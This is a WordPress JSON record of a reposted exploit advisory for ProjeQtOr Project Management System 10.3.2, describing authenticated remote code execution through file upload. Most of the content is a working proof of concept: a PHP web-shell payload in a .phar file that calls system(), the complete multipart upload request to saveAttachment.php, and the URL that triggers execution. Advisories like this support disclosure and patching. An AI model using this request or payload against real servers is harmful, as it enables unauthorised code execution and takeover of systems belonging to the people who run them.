{"id":40575,"date":"2023-04-20T20:19:01","date_gmt":"2023-04-20T16:19:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171950\/ppms1032-shell.txt"},"modified":"2023-04-21T21:50:01","modified_gmt":"2023-04-21T17:20:01","slug":"projeqtor-project-management-system-10-3-2-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/projeqtor-project-management-system-10-3-2-shell-upload\/","title":{"rendered":"ProjeQtOr Project Management System 10.3.2 Shell Upload"},"content":{"rendered":"<p>Exploit Title: ProjeQtOr Project Management System 10.3.2 -Remote Code Execution (RCE)<br \/>\nApplication: ProjeQtOr Project Management System<br \/>\nVersion: 10.3.2<br \/>\nBugs: Remote Code Execution (RCE) (Authenticated) via file upload<br \/>\nTechnology: PHP<br \/>\nVendor URL: https:\/\/www.projeqtor.org<br \/>\nSoftware Link: https:\/\/sourceforge.net\/projects\/projectorria\/files\/projeqtorV10.3.2.zip\/download<br \/>\nDate of found: 19.04.2023<br \/>\nAuthor: Mirabbas A\u011falarov<br \/>\nTested on: Linux<\/p>\n<p>2. Technical Details &amp; POC<br \/>\n========================================<br \/>\nPossible including php file with phar extension while uploading image. Rce is triggered when we visit again<\/p>\n<p>Payload:&lt;?php echo system(&#8220;id&#8221;); ?&gt;<\/p>\n<p>poc request:<\/p>\n<p>POST \/projeqtor\/tool\/saveAttachment.php?csrfToken= HTTP\/1.1<br \/>\nHost: localhost<br \/>\nContent-Length: 1177<br \/>\nsec-ch-ua: &#8220;Not?A_Brand&#8221;;v=&#8221;8&#8243;, &#8220;Chromium&#8221;;v=&#8221;108&#8243;<br \/>\nAccept: application\/json<br \/>\nContent-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/108.0.5359.125 Safari\/537.36<br \/>\nsec-ch-ua-platform: &#8220;Linux&#8221;<br \/>\nOrigin: http:\/\/localhost<br \/>\nSec-Fetch-Site: same-origin<br \/>\nSec-Fetch-Mode: cors<br \/>\nSec-Fetch-Dest: empty<br \/>\nReferer: http:\/\/localhost\/projeqtor\/view\/main.php<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-US,en;q=0.9<br \/>\nCookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic<br \/>\nConnection: close<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentFiles[]&#8221;; filename=&#8221;miri.phar&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p>&lt;?php echo system(&#8220;id&#8221;); ?&gt;<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentId&#8221;<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentRefType&#8221;<\/p>\n<p>User<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentRefId&#8221;<\/p>\n<p>1<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentType&#8221;<\/p>\n<p>file<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;MAX_FILE_SIZE&#8221;<\/p>\n<p>10485760<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentLink&#8221;<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentDescription&#8221;<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;attachmentPrivacy&#8221;<\/p>\n<p>1<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR<br \/>\nContent-Disposition: form-data; name=&#8221;uploadType&#8221;<\/p>\n<p>html5<br \/>\n&#8212;&#8212;WebKitFormBoundaryY0bpJaQzcvQberWR&#8211;<\/p>\n<p>visit: http:\/\/localhost\/projeqtor\/files\/attach\/attachment_5\/miri.phar<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Title: ProjeQtOr Project Management System 10.3.2 -Remote Code Execution (RCE) Application: ProjeQtOr Project Management System Version: 10.3.2 Bugs: Remote Code Execution (RCE) (Authenticated) via file upload Technology: PHP Vendor URL: https:\/\/www.projeqtor.org Software Link: https:\/\/sourceforge.net\/projects\/projectorria\/files\/projeqtorV10.3.2.zip\/download Date of found: 19.04.2023 Author: Mirabbas A\u011falarov Tested on: Linux 2. Technical Details &amp; POC ======================================== Possible including php file &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40575","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40575","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40575"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40575\/revisions"}],"predecessor-version":[{"id":40601,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40575\/revisions\/40601"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40575"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40575"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40575"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}